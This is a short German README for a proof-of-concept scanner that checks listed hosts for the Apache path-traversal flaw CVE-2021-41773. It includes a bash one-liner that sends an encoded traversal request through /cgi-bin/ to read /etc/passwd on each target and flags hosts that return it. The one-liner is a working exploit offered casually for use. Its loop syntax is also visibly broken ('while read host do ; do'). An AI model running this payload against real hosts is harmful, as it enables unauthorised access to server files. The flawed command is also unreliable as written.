
Proof-of-Concept-Scanner, der Hosts auf die CVE-2021-41773 Apache Path-Traversal-Schwachstelle prüft und den Status „anfällig“ oder „nicht anfällig“ meldet.
Schneller und einfacher Proof of Concept, um zu prüfen, ob Hosts anfällig für CVE-2021-41773 sind.
python3 full.py hosts.txt
Wobei hosts.txt Ihre Ziele enthält:
domain.com
blah.com
192.168.1.1
Es wird ausgegeben, ob der Host anfällig ist oder nicht.
Python-Version des Bash-Befehls:
cat hosts.txt | while read host do ; do curl -k --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
Viel Spaß!